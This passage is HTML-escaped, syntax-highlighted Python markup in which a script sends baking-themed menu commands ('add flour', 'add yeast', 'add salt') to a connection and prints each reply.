z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;add flour&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;add yeast&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;add salt&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
